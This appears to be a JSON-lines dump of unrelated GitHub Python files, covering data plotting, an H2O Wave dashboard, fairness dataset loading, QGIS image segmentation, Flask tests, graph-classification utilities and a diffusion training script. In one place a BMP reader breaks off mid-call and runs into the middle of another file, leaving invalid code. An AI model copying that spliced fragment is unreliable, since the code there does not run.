\n\n\n\n\n## 1. Histogram for Prefix Helpdesk\nplt.hist(df[\"Prefix\"], bins = 6, range=(2, maximalRange), rwidth=0.8)\nplt.xlabel('Prefix')\nplt.ylabel('Number of process instances')\nx_ticks = range(2, maximalRange)\nplt.xticks(x_ticks)\nplt.title(\"Histogram of number of process instances that reach prefix\")\nplt.savefig(\"Histogram prefix helpdesk\")\n#plt.show()\nplt.clf()\n\n\n\n## 2. Histogram best confidence\nmask = df[\"MAE Mean\"] > df[\"MAE Median\"]\ncountBigger = mask.sum()\n\nprint(\"Mean has been better on\")\nprint(countBigger)\nprint(\"for number of instances:\")\nprint(len(df))\n\n\n\nplt.hist(df[\"bestCorrelation Mean\"], bins = 11)\nplt.xlabel('Best Confidence')\nplt.ylabel('Number of process instances')\nplt.title(\"Histogram of best Confidence\")\nplt.savefig(\"Histogram best confidence helpdesk\")\n#plt.show()\nplt.clf()\n\n\n## 3. Improvement\nimprovementArray = []\nfor k in range(2, maximalRange):\n helperDf = df.loc[df['Prefix'] == k]\n MAEBefore = helperDf[\"MAE\"].mean()\n MAEAfter = helperDf[\"bestCorrelation Mean\"].mean()\n\n improvement = MAEAfter / MAEBefore\n improvementArray.append(improvement * 100)\n\nx_values = [i + 2 for i in range(len(improvementArray))]\nplt.scatter(x_values, improvementArray)\nplt.xlabel('Prefix length')\nplt.ylabel('Improvement in %')\nplt.title(\"Improvement helpdesk\")\nplt.savefig(\"Improvement helpdesk\")\nplt.clf()\n\n\n## 4. Using Mean as Prediction\nfor j in range(2, maximalRange):\n secondHelperDf = df.loc[df['Prefix'] == j]\n Ymean = secondHelperDf[\"Ground truth times\"].mean()\n print(\"Mean second\")\n print(Ymean)\n for index, row in secondHelperDf.iterrows():\n df.loc[index, \"MAE regarding Mean\"] = abs(Ymean - row[\"Ground truth times\"])\n\naverageMAE = []\naverageMAEMean = []\nfor l in range(2, maximalRange):\n thirdHelperDf = df.loc[df['Prefix'] == l]\n averageMAE.append(thirdHelperDf[\"MAE\"].mean())\n averageMAEMean.append(thirdHelperDf[\"MAE regarding Mean\"].mean())\n \nindex_labels = ['Prefix {}'.format(l) for l in range(2, maximalRange)]\n\nbar_width = 0.35\nx = np.arange(len(index_labels))\n\nplt.bar(x - bar_width / 2, averageMAE, width=bar_width, color='orange', label='Initial Prediction')\nplt.bar(x + bar_width / 2, averageMAEMean, width=bar_width, label='Mean as Prediction')\n\nplt.xlabel('Prefix length')\nplt.ylabel('MAE')\nplt.title('MAE before adjustment vs predicting always mean for given Prefix')\nplt.xticks(x, index_labels)\nplt.legend()\nplt.tight_layout()\nplt.savefig(\"Mean for filtered dataset helpdesk dataset\")\n#plt.show()\n\n\n\n","repo_name":"HenrikMader/PredictiveProcess","sub_path":"code/helpdesk.py","file_name":"helpdesk.py","file_ext":"py","file_size_in_byte":5263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9871230924","text":"from databasing import database_model as dbm\nfrom databasing.premade_db_content import ProductA, FakeProduct, BranchingProduct\n\nfrom pages import order_page as homepage\nfrom pages import supply_chain_page as datapage\nfrom pages import inventory_page as plotpage\n\nfrom h2o_wave import main, Q, app, ui, copy_expando\n\n\n@app('/', mode='unicast')\nasync def serve_ctp(q: Q):\n\n \"\"\" Run once, on startup \"\"\"\n if not q.client.initialized:\n q.client.initialized = True\n\n # Database initialization\n q.user.db_engine = dbm.create_engine(\"sqlite+pysqlite:///:memory:\", echo=False, future=True)\n dbm.reset_db(q.user.db_engine)\n with dbm.Session(q.user.db_engine) as init_session:\n dbm.add_from_class(init_session, ProductA)\n dbm.add_from_class(init_session, FakeProduct)\n dbm.add_from_class(init_session, BranchingProduct)\n init_session.commit()\n\n # UI initialization\n q.client.product_selection = '1'\n q.client.stockpoint_selection = '1' # Warning! Do not set to id number that could be outside initially selected product!\n q.client.supply_route_selection = '1'\n q.client.plot_length = 12\n q.client.plot_columns = plotpage.plotable_columns\n\n \"\"\" Data updates on user action \"\"\"\n copy_expando(q.args, q.client)\n\n \"\"\" UI response on user action \"\"\"\n page_hash = q.args['#']\n\n if page_hash == 'order_page':\n homepage.layout(q)\n await homepage.serve_order_page(q)\n elif page_hash == 'inventory_page':\n plotpage.layout(q)\n await plotpage.serve_inventory_page(q)\n else: # -> page_hash == None or 'sc_page'\n datapage.layout(q)\n await datapage.serve_supply_chain_page(q)\n\n show_header(q)\n await q.page.save()\n\n\ndef show_header(q: Q):\n page_hash = q.args['#']\n hash_to_label = {\n 'sc_page': 'Supply Chain',\n 'order_page': 'Orders',\n 'inventory_page': 'Inventories',\n }\n pagination_items = [ui.button(name=f'#{hash}',label=hash_to_label[hash], link=True)\n for hash in hash_to_label]\n q.page['header'] = ui.header_card(box='header_zone',\n title=hash_to_label[page_hash] if page_hash else 'Supply Chain',\n subtitle='',\n items=pagination_items\n )\n","repo_name":"jensdanb/ctp_dashboard","sub_path":"web_app.py","file_name":"web_app.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"6516096151","text":"from aif360.datasets import StandardDataset\r\n\r\n\r\ndefault_mappings = {\r\n \"label_maps\": [{1.0: \"Good Credit\", 2.0: \"Bad Credit\"}],\r\n \"protected_attribute_maps\": [{1.0: \"Male\", 0.0: \"Female\"}, {1.0: \"Old\", 0.0: \"Young\"}],\r\n}\r\n\r\n\r\nclass GermanDataset(StandardDataset):\r\n \"\"\"German credit Dataset.\r\n See :file:`aif360/data/raw/german/README.md`.\r\n \"\"\"\r\n\r\n def __init__(\r\n self,\r\n df_data,\r\n label_name=\"credit\",\r\n favorable_classes=[1],\r\n protected_attribute_names=[\"sex\", \"age\"],\r\n privileged_classes=[[\"male\"], lambda x: x > 25],\r\n instance_weights_name=None,\r\n categorical_features=[\r\n \"status\",\r\n \"credit_history\",\r\n \"purpose\",\r\n \"savings\",\r\n \"employment\",\r\n \"other_debtors\",\r\n \"property\",\r\n \"installment_plans\",\r\n \"housing\",\r\n \"skill_level\",\r\n \"telephone\",\r\n \"foreign_worker\",\r\n ],\r\n features_to_keep=[],\r\n features_to_drop=[\"personal_status\"],\r\n na_values=[],\r\n custom_preprocessing=None,\r\n metadata=default_mappings,\r\n ):\r\n\r\n super(GermanDataset, self).__init__(\r\n df=df_data,\r\n label_name=label_name,\r\n favorable_classes=favorable_classes,\r\n protected_attribute_names=protected_attribute_names,\r\n privileged_classes=privileged_classes,\r\n instance_weights_name=instance_weights_name,\r\n categorical_features=categorical_features,\r\n features_to_keep=features_to_keep,\r\n features_to_drop=features_to_drop,\r\n na_values=na_values,\r\n custom_preprocessing=custom_preprocessing,\r\n metadata=metadata,\r\n )\r\n","repo_name":"junjie1003/FMT","sub_path":"datasets/german_dataset.py","file_name":"german_dataset.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21169935640","text":"import numpy as np\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import Slider, Button, RadioButtons\n\nfrom scipy import optimize\n\nfrom matplotlib.gridspec import GridSpec\n\nfrom itertools import product\n\nimport SVS13py.main_functions as main_functions\nimport SVS13py.mf as mf\nfrom SVS13py.vertslider import VertSlider\n\n\nR_p = lambda z, s, a: (a - z)**(1/s)\nz1_0 = lambda z, z1, s, a, i: np.tan(i) * R_p(z1,s,a) + z1 - z\nz2_0 = lambda z, z2, s, a, i: np.tan(i) * R_p(z2,s,a) - z2 + z\n\nz1 = lambda z, s, a, i: optimize.brentq(lambda z1: z1_0(z,z1,s,a,i), 0, z)\nz2 = lambda z, s, a, i: optimize.brentq(lambda z2: z2_0(z,z2,s,a,i), z, a)\n\nR1 = lambda z, s, a, i: R_p(z1(z,s,a,i),s,a)\nR2 = lambda z, s, a, i: R_p(z2(z,s,a,i),s,a)\n\ndx_zaxis = lambda z, s, a, i: 1/(2*np.cos(i)) * np.abs((R2(z,s,a,i) - R1(z,s,a,i)))\ndz_zaxis = lambda z, s, a, i: dx_zaxis(z,s,a,i) / np.cos(i)\ndz_zaxis_2 = lambda z, s, a, i: 1/np.sin(i) * np.abs((z1(z,s,a,i)+z2(z,s,a,i))/2 - z)\n\ndef dz_zaxis_try(z, s, a, i):\n try:\n return dz_zaxis(z, s, a, i)\n except:\n return 0\n\ndef dx_zaxis_try(z, s, a, i):\n try:\n return dx_zaxis(z, s, a, i)\n except:\n return 0\n\ndef proj_correction(a_p, s_p, i_p, z_point, fig=None, axs=None,):\n #paraboloid\n zs_r = np.linspace(0, a_p, 1000)\n zs_p = np.array([z for z in zs_r] + [z for z in zs_r[::-1]])\n rs_p = np.array([R_p(z,s_p,a_p,) for z in zs_r] + \\\n [-R_p(z,s_p,a_p,) for z in zs_r[::-1]])\n\n #zaxis\n zaxis_x, zaxis_z = np.array([0]*len(zs_r)), zs_r\n\n #difference between zaxis and the center of the isovelocities\n zs_dx = np.linspace(1.5,a_p-0.01, 1000)\n dxs_zaxis = np.array([-dx_zaxis(z,s_p,a_p,i_p,) for z in zs_dx])\n\n #z1 and z2 points, defines the proyected isovelocities\n z1_point, z2_point = z1(z_point,s_p,a_p,i_p), z2(z_point,s_p,a_p,i_p)\n R1_point, R2_point = R1(z_point,s_p,a_p,i_p), R2(z_point,s_p,a_p,i_p)\n\n #we rotate everything\n p_cart = {'x':rs_p, 'y':0, 'z':zs_p}\n zaxis_cart = {'x':zaxis_x, 'y':0, 'z':zaxis_z}\n dxs_zaxis_cart = {'x':dxs_zaxis, 'y':0, 'z':zs_dx}\n points_cart = {'x':np.array([-R1_point, R2_point]),\n 'y':0,\n 'z':np.array([z1_point, z2_point])}\n z_point_cart = {'x':0,'y':0,'z':z_point}\n\n p_rot = main_functions.rot(p_cart, 'y', i_p)\n zaxis_rot = main_functions.rot(zaxis_cart, 'y', i_p)\n dxs_zaxis_rot = main_functions.rot(dxs_zaxis_cart, 'y', i_p)\n points_rot = main_functions.rot(points_cart, 'y', i_p)\n z_point_rot = main_functions.rot(z_point_cart, 'y', i_p)\n\n #lets simulate the deprojection\n x_obs = np.mean(points_rot['x'])\n D_iso = np.abs(points_rot['x'][0]-points_rot['x'][1])\n z_depr = x_obs / np.sin(i_p)\n # we do assume that the radii is the mean obs.\n r_edge = np.sqrt((D_iso/2.)**2 + z_depr**2)\n theta_angle = np.arctan((D_iso/2.) / z_depr)\n\n z_depr_cart = {'x':0, 'y':0, 'z':z_depr}\n z_depr_rot = main_functions.rot(z_depr_cart, 'y', i_p)\n\n if axs is None:\n nrow = 1\n ncol = 2\n ngrid = 2\n magical_factor = 15\n wspace = 0\n hspace = 0\n font_size = 15\n\n fig = plt.figure(figsize=(nrow*magical_factor,(ncol+1)*ngrid,))\n gs1 = GridSpec(nrow, (ncol+1)*ngrid, )\n gs1.update(wspace=wspace, hspace=hspace,)\n\n axs = {}\n n = 0\n for i,j in product(range(nrow), [i for i in range(ncol*ngrid)][::ngrid]):\n axs[n] = plt.subplot(gs1[i,j:j+ngrid])\n n += 1\n\n\n #non_rotated plots\n axs[1].plot(0,0,'k*')\n axs[1].plot(rs_p,zs_p, c='b')\n axs[1].plot(dxs_zaxis, zs_dx, c='r')\n axs[1].plot(zaxis_x, zaxis_z, 'k--')\n\n #rotated plots\n axs[0].plot(0,0,'k*')\n axs[0].plot(p_rot['x'], p_rot['z'], c='b')\n axs[0].plot(zaxis_rot['x'], zaxis_rot['z'], 'k--')\n axs[0].plot(dxs_zaxis_rot['x'], dxs_zaxis_rot['z'], c='r')\n axs[0].plot(points_rot['x'], points_rot['z'], c='k')\n axs[0].plot(np.mean(points_rot['x']), points_rot['z'][1], 'xk')\n axs[0].plot(z_point_rot['x'], z_point_rot['z'], 'xg')\n axs[0].plot(np.mean(points_rot['x']), z_depr_rot['z'], 'xm')\n\n #deprojected plots\n axs[1].plot(0, z_depr, 'xm')\n axs[1].plot(points_cart['x'], points_cart['z'], alpha=0.2, c='k')\n axs[1].plot([-D_iso/2,D_iso/2], [z_depr,z_depr], 'k')\n axs[1].plot(0,z_point,'gx')\n #axs[1].plot()\n\n for n in axs:\n axs[n].set_aspect('equal')\n\n axs[0].set_title('Projected')\n axs[0].set_xlabel(\"x' (arcsec)\")\n axs[0].set_ylabel(\"line of sight (arcsec)\")\n\n axs[1].set_title('Deprojected')\n axs[1].set_xlabel(\"x (arcsec)\")\n axs[1].set_ylabel(\"z (arcsec)\")\n\n\n\nclass ProjCorrect(object):\n init_params = {'a_p':8., 's_p':2.5, 'i_p':np.pi / 9, 'z_point':6.5}\n limit_slider = {'a_p_l':1, 'a_p_u':10.,\n 's_p_l':2.1, 's_p_u':5,\n 'i_p_l':0, 'i_p_u':np.pi,\n 'z_point_l':2.5, 'z_point_u':8}\n\n\n def __init__(self, a_p=None, s_p=None, i_p=None, z_point=None, **kwargs):\n \"\"\"\n Kwargs can be: init_chan\n \"\"\"\n self.params = {'a_p':a_p, 's_p':s_p, 'i_p':i_p, 'z_point':z_point}\n for param in self.params:\n self.params[param] = self.params[param] \\\n if self.params[param] is not None \\\n else self.init_params[param]\n\n self.create_fig()\n self.fig.subplots_adjust(left=0.25, bottom=0.35)\n\n self.create_axes()\n\n self.param_sliders = None\n self.update_buttons()\n self.proj_correction(axs=self.axs)\n\n\n def create_fig(self):\n nrow = 1\n ncol = 2\n ngrid = 2\n magical_factor = 15\n wspace = 0\n hspace = 0\n font_size = 15\n\n self.fig = plt.figure(figsize=(nrow*magical_factor,(ncol+1)*ngrid,))\n gs1 = GridSpec(nrow, (ncol+1)*ngrid, )\n gs1.update(wspace=wspace, hspace=hspace,)\n\n self.axs = {}\n n = 0\n for i,j in product(range(nrow), [i for i in range(ncol*ngrid)][::ngrid]):\n self.axs[n] = plt.subplot(gs1[i,j:j+ngrid])\n n += 1\n\n def create_axes(self):\n \"\"\"\n CAUTION: axis must be created and removed in the same order!\n \"\"\"\n self.slider_ax = {param: self.fig.add_axes([0.25,\n 0.25-i*0.03,\n 0.65,\n 0.03])\n for i,param in enumerate(self.params)}\n\n\n def update_buttons(self,):\n \"\"\"\n Updates the state of the sliders and buttons (for example, after a fit)\n \"\"\"\n# plt.cla()\n# self.remove_axes()\n# for ax in self.axs:\n#\n# self.create_fig()\n# self.create_axes()\n\n self.param_sliders = {param: Slider(self.slider_ax[param],\n param,\n self.limit_slider[param+'_l'],\n self.limit_slider[param+'_u'],\n valinit=self.params[param])\n for param in self.params}\n for param in self.params:\n self.param_sliders[param].on_changed(self.sliders_on_changed)\n\n def sliders_on_changed(self, val):\n self.update_params(*[self.param_sliders[param].val\n for param in self.param_sliders])\n self.fig.canvas.draw_idle()\n\n\n def update_params(self, a_p, s_p, i_p, z_point):\n self.params = {'a_p':a_p, 's_p':s_p, 'i_p':i_p, 'z_point':z_point}\n self.axs[0].clear()\n self.axs[1].clear()\n self.proj_correction(axs=self.axs)\n\n def proj_correction(self, axs=None):\n proj_correction(**self.params, axs=axs)\n self.fig.canvas.draw_idle()\n\n\n\n","repo_name":"IAA-CSIC/dragom","sub_path":"SVS13py/windmodel_correction.py","file_name":"windmodel_correction.py","file_ext":"py","file_size_in_byte":7883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6837669597","text":"import re\n\nfrom qdmr.domain_languages.drop_language import DROPLanguage\nfrom qdmr.data.utils import read_qdmr_json_to_examples, nested_expression_to_lisp, nested_expression_to_tree, QDMRExample\n\nlanguage = DROPLanguage()\n\ntrain_qdmr = \"/shared/nitishg/data/qdmr-processed/QDMR-high-level/DROP/drop-programs/train.json\"\ndev_qdmr = \"/shared/nitishg/data/qdmr-processed/QDMR-high-level/DROP/drop-programs/dev.json\"\n\ntrain = read_qdmr_json_to_examples(train_qdmr)\ndev = read_qdmr_json_to_examples(dev_qdmr)\n\nall_examples = train + dev\nprint(\"Total: {}\".format(len(all_examples)))\n\nparsable = 0\nunparsable = 0\nfor example in all_examples:\n example: QDMRExample = example\n nested_expr = example.drop_nested_expression\n if not nested_expr:\n continue\n\n program_tree = nested_expression_to_tree(nested_expr, predicates_with_strings=True)\n lisp = nested_expression_to_lisp(program_tree.get_nested_expression())\n try:\n language.logical_form_to_action_sequence(lisp)\n parsable += 1\n except:\n unparsable += 1\n\nprint(\"Parsable:{}\".format(parsable))\nprint(\"Grammar unparsable:{}\".format(unparsable))\n\n\n","repo_name":"nitishgupta/qdmr","sub_path":"analysis/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15238528673","text":"# bmp reader\nimport struct\nimport numpy as np\n\nimg_fq = \"../benchmarkData/testing2_000_0000.bmp\"\n\nraw_img = np.fromfile( img_fq, dtype=np.uint8 )\ntype1, type2, size, _, _, os = struct.unpack( \"No se generaron segmentos', level=0, duration=7)\n ms = QMessageBox()\n ms.setText(\"Error en el proceso. No se generaron segmentos\")\n ms.setIcon(QMessageBox.Warning)\n ms.exec()\n return None\n tempdir=tempfile.TemporaryDirectory()\n ruta_out=tempdir.name\n listap=mask_to_imagen(lmask,ruta_out,'seg_i',columnas,filas,wkt,geotransform)\n time.sleep(1)\n progressMessageBar.setText('Procesando segmentos')\n progress.setValue(50)\n #vectorizando\n listcapas=[]\n if len(listap)>0:\n for i in listap:\n if os.path.exists(i):\n vector=vectorizar(i)\n #print(' ruta capa vector',vector)\n listcapas.append(vector)\n else:\n self.iface.messageBar().pushMessage('ERROR',\\\n 'Error al vectorizar segmentos', level=0, duration=7)\n ms = QMessageBox()\n ms.setText(\"Error al vectorizar segmentos. No se genero la capa de salida\")\n ms.setIcon(QMessageBox.Warning)\n ms.exec()\n return None\n resultado=crear_capa_salida(listcapas,epsg,multi=False)\n self.pry.addMapLayer(resultado)\n #proceso finalizado\n time.sleep(1)\n progress.setValue(100)\n self.iface.messageBar().clearWidgets()\n for i in listap:\n try:\n rmtree(i)\n except:\n pass\n else:\n time.sleep(1)\n progressMessageBar.setText('Procesando segmentacion')\n progress.setValue(20)\n #parametros\n predictor=self.param.predictor\n sam=self.param.sam\n wkt=self.param.wkt\n columnas=self.param.columnas\n filas=self.param.filas\n geotransform=self.param.geotransform\n epsg=self.param.src.authid()\n image=self.param.arreglo\n #nuevos parametros\n PointsPerSide=self.Points_per_side.value()\n PredIouThresh=self.Pred_iou_thresh.value()\n StabilityScoreThresh=self.Stability_score_thresh.value()\n CropNLayers=self.Crop_n_layers.value()\n CropNPointsDownscaleFactor=self.Crop_n_points_downscale_factor.value()\n #segmentacion\n mask_generator_2 = SamAutomaticMaskGenerator(\n model=sam,\n points_per_side=PointsPerSide,\n pred_iou_thresh=PredIouThresh,\n stability_score_thresh=StabilityScoreThresh,\n crop_n_layers=CropNLayers,\n crop_n_points_downscale_factor=CropNPointsDownscaleFactor,\n )\n masks2 = mask_generator_2.generate(image)\n lmask=[i['segmentation'] for i in masks2]\n #print(' lista de mascaras',lmask)\n #carpeta temporal\n if len(lmask)==0:\n self.iface.messageBar().pushMessage('ERROR',\\\n 'No se genraron segmentos', level=0, duration=7)\n ms = QMessageBox()\n ms.setText(\"Error en el proceso. No se generaron segmentos\")\n ms.setIcon(QMessageBox.Warning)\n ms.exec()\n return None\n tempdir=tempfile.TemporaryDirectory()\n ruta_out=tempdir.name\n listap=mask_to_imagen(lmask,ruta_out,'seg_i',columnas,filas,wkt,geotransform)\n time.sleep(1)\n progressMessageBar.setText('Procesando segmentos')\n progress.setValue(50)\n #vectorizando\n listcapas=[]\n if len(listap)>0:\n for i in listap:\n if os.path.exists(i):\n vector=vectorizar(i)\n #print(' ruta capa vector',vector)\n listcapas.append(vector)\n else:\n self.iface.messageBar().pushMessage('ERROR',\\\n 'Error al vectorizar segmentos', level=0, duration=7)\n ms = QMessageBox()\n ms.setText(\"Error al vectorizar segmentos. No se genero la capa de salida\")\n ms.setIcon(QMessageBox.Warning)\n ms.exec()\n return None\n resultado=crear_capa_salida(listcapas,epsg,multi=False)\n self.pry.addMapLayer(resultado)\n #proceso finalizado\n time.sleep(1)\n progress.setValue(100)\n self.iface.messageBar().clearWidgets()\n for i in listap:\n try:\n rmtree(i)\n except:\n pass\n \n\n","repo_name":"luisCartoGeo/GeoAI_Plugin","sub_path":"dialog_segmentar_i.py","file_name":"dialog_segmentar_i.py","file_ext":"py","file_size_in_byte":9543,"program_lang":"python","lang":"es","doc_type":"code","stars":30,"dataset":"github-code","pt":"60"} +{"seq_id":"4177975051","text":"from flask import Flask\nfrom unittest import TestCase\nfrom app.api import error_handler\nfrom marshmallow.exceptions import ValidationError\n\n\nclass TestErrorHandler(TestCase):\n\n app = Flask(__name__)\n\n def test_process_handler_generic_exception(self):\n with self.app.app_context():\n ex = Exception('General Error')\n resp = error_handler.process_error(ex)\n body = resp[0].get_json()\n status = resp[1]\n self.assertEqual(body, {'msg': 'General Error'})\n self.assertEqual(status, 500)\n\n def test_process_http_status_exception(self):\n with self.app.app_context():\n ex = Exception(404, {'msg': 'Not Found'})\n resp = error_handler.process_error(ex)\n body = resp[0].get_json()\n status = resp[1]\n self.assertEqual(body, {'msg': 'Not Found'})\n self.assertEqual(status, 404)\n\n def test_process_validation_exception(self):\n with self.app.app_context():\n ex = ValidationError('Validation Error')\n resp = error_handler.process_error(ex)\n body = resp[0].get_json()\n status = resp[1]\n self.assertEqual(body, {'msg': 'Validation Error'})\n self.assertEqual(status, 400)\n","repo_name":"rbarbioni/python-flask-api","sub_path":"tests/unit/api/test_error_handler.py","file_name":"test_error_handler.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"39330959610","text":"from django.contrib import admin\nfrom django.urls import path,include\n\nfrom django.conf import settings # необхідно для папки static\nfrom django.conf.urls.static import static # необхідно для папки static\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('',include('main.urls')),\n path('governments/',include('governments.urls')),\n path('deposits/',include('deposits.urls')),\n path('loans/',include('loans.urls')),\n path('operations/',include('operations.urls')),\n path('generalreport/',include('generalreport.urls')),\n path('currency/',include('currency.urls'))\n] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) # необхідно для папки static\n","repo_name":"MomontD/TestDjango","sub_path":"TestDjango/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6268626832","text":"#https://leetcode.com/problems/heaters/\n#Complexity: O(nlog m)\n\nclass Solution:\n def findRadius(self, houses: List[int], heaters: List[int]) -> int:\n heaters.sort()\n heaters=[float('-inf')]+heaters+[float('inf')]\n n=len(heaters)\n maxdist=0\n for i in houses:\n r=self.binSearch(heaters, 0,int((n-1)/2),n-1,i)\n maxdist=max(r,maxdist)\n return maxdist\n \n def binSearch(self,heaters,l,m,h,i):\n if heaters[m]==i:\n return 0\n if heaters[m]i:\n return min(i-heaters[m],heaters[m+1]-i)\n elif heaters[m]i and heaters[m-1]= 18:\r\n print(\"mayor de edad\")\r\nelse:\r\n print(\"menor de edad\")\r\n\r\nprint(Persona.dni)","repo_name":"LUIS-EMIX/Practicas-Programacion-Orientada-a-Objetos","sub_path":"funcion 2.py","file_name":"funcion 2.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71851874751","text":"import argparse\nfrom collections import defaultdict\nimport numpy as np\nimport scipy.sparse as sp\nfrom sklearn.model_selection import train_test_split, StratifiedKFold\nimport tensorflow as tf\n\n\ndef create_sparse_matrix_from_parts(adj_idcs, num_nodes, float_type, adj_vals=None):\n adj_vals = np.ones(adj_idcs.shape[0]) if adj_vals is None else adj_vals\n return sp.csr_matrix((adj_vals, (adj_idcs[:, 0], adj_idcs[:, 1])),\n shape=(num_nodes, num_nodes), dtype=float_type)\n\n\ndef create_dense_matrix_from_parts(adj_idcs, num_nodes, float_type, adj_vals=None):\n adj_mat = create_sparse_matrix_from_parts(adj_idcs, num_nodes, float_type, adj_vals)\n return adj_mat.toarray()\n\n\ndef compute_mean_results(list_of_result_dicts):\n mean_results = defaultdict(list)\n for result_dict in list_of_result_dicts:\n for key, val in result_dict.items():\n mean_results[key].append(val)\n std_results = {}\n for key, val in mean_results.items():\n mean_results[key] = np.mean(val)\n std_results[key] = np.std(val)\n return mean_results, std_results\n\n\ndef average_results_description_string(mean_result, std_result):\n description = \"\"\n for key in mean_result.keys():\n description += f\"{key}={mean_result[key]*100.0:.2f} +/- {std_result[key]*100.0:.2f}\\t\"\n return description\n\n\ndef get_standardized_node_degrees(adj):\n node_degrees = adj.sum(axis=1)\n node_degrees = node_degrees - np.mean(node_degrees)\n if np.std(node_degrees) > 1e-5:\n node_degrees = node_degrees / np.std(node_degrees)\n return node_degrees\n\n\ndef get_node_degrees(adj):\n node_degrees = adj.sum(axis=1)\n return node_degrees\n\n\ndef get_random_split(labels, rstate):\n idcs = np.arange(labels.shape[0])\n idcs_train, idcs_temp = train_test_split(idcs, train_size=0.8,\n shuffle=True, random_state=rstate)\n idcs_val, idcs_test = train_test_split(idcs_temp, train_size=0.5,\n shuffle=True, random_state=rstate)\n return idcs_train, idcs_val, idcs_test\n\n\ndef get_stratified_split(labels, split_idx, n_splits=10):\n rstate = np.random.RandomState(seed=0)\n num_data = labels.shape[0]\n fold = StratifiedKFold(n_splits=n_splits, shuffle=True, random_state=rstate)\n splits = list(fold.split(np.zeros(num_data), labels.reshape(-1)))\n temp_idcs, test_idcs = splits[split_idx]\n train_idcs, val_idcs = train_test_split(temp_idcs, train_size=8.0/9.0, shuffle=True, random_state=rstate,\n stratify=labels[temp_idcs])\n assert len(np.intersect1d(train_idcs, val_idcs)) == 0\n assert len(np.intersect1d(train_idcs, test_idcs)) == 0\n assert len(np.intersect1d(val_idcs, test_idcs)) == 0\n return train_idcs, val_idcs, test_idcs\n\n\ndef encode_one_hot(values, min_value, max_value, as_numpy=True):\n indices = values.copy()\n indices[indices <= min_value] = min_value\n indices[indices >= max_value] = max_value\n encoding = tf.one_hot(values, depth=max_value-min_value)\n encoding = encoding if as_numpy is False else encoding.numpy()\n return encoding\n\n\ndef str2bool(v):\n if isinstance(v, bool):\n return v\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')","repo_name":"FelixOpolka/Graph-Classification-Gaussian-Processes-via-Spectral-Features","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"17766709197","text":"#Add repo path to the system path\nfrom pathlib import Path\nimport os, sys\nrepo_path= Path.cwd().resolve()\nwhile '.gitignore' not in os.listdir(repo_path): # while not in the root of the repo\n repo_path = repo_path.parent #go up one level\nsys.path.insert(0,str(repo_path)) if str(repo_path) not in sys.path else None\nexp_path = Path.cwd().resolve() # path to the experiment folder\n\n#Libraries\nimport yaml\nimport math\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom tqdm import tqdm\nfrom torchvision.transforms import (\n Compose,\n Resize,\n CenterCrop,\n ToTensor,\n Normalize,\n InterpolationMode,\n)\nimport wandb\nimport datasets, diffusers\nfrom datasets_local.datasets import load_breast_dataset\nfrom diffusers import (\n UNet2DModel,\n DDPMScheduler,\n)\n\nfrom diffusers import DDPMPipeline\nfrom diffusers.optimization import get_scheduler\nfrom diffusers.utils import check_min_version\nimport logging\nfrom accelerate.logging import get_logger\nfrom accelerate import Accelerator\n\n# Check the diffusers version\ncheck_min_version(\"0.15.0.dev0\")\n\n# set the logger\nlogger = get_logger(__name__, log_level=\"INFO\") # allow from info level and above\n\n######MAIN######\ndef main():\n ### 0. General setups\n # load the config file\n config_path = exp_path / 'config.yaml'\n with open('config.yaml') as file: # expects the config file to be in the same directory\n config = yaml.load(file, Loader=yaml.FullLoader)\n\n # define logging directory\n pipeline_dir = repo_path / config['saving']['local']['outputs_dir'] / config['saving']['local']['pipeline_name']\n logging_dir = pipeline_dir / config['logging']['dir_name']\n\n # start the accelerator\n accelerator = Accelerator(\n gradient_accumulation_steps=config['training']['gradient_accumulation']['steps'],\n mixed_precision=config['training']['mixed_precision']['type'],\n log_with= config['logging']['logger_name'],\n logging_dir= logging_dir,\n )\n\n # define basic logging configuration\n logging.basicConfig(\n format=\"%(asctime)s - %(levelname)s - %(name)s - %(message)s\", # format of the log message. # name is the logger name.\n datefmt=\"%m/%d/%Y %H:%M:%S\",\n level=logging.INFO,\n )\n # show the accelerator state as first log message\n logger.info(accelerator.state)\n # set the level of verbosity for the datasets and diffusers libraries, depending on the process type\n if accelerator.is_local_main_process:\n datasets.utils.logging.set_verbosity_warning()\n diffusers.utils.logging.set_verbosity_info()\n else:\n datasets.utils.logging.set_verbosity_error()\n diffusers.utils.logging.set_verbosity_error()\n\n ### 1. Dataset loading and preprocessing\n # Dataset loading\n data_dir = repo_path / config['processing']['dataset']\n dataset = load_breast_dataset(data_dir)\n logger.info(f\"Dataset loaded with {len(dataset)} images\") # show info about the dataset\n # Define data augmentations\n class ToFloat32Tensor(object):\n \"\"\"\n Converts a PIL Image to a PyTorch tensor with dtype float32, and normalises it.\n \"\"\"\n def __call__(self, image):\n # Convert PIL Image to PyTorch tensor with dtype float32\n tensor = ToTensor()(image).float()/config['processing']['normalisation_value']\n return tensor\n \n preprocess = Compose(\n [\n Resize(config['processing']['resolution'], interpolation= 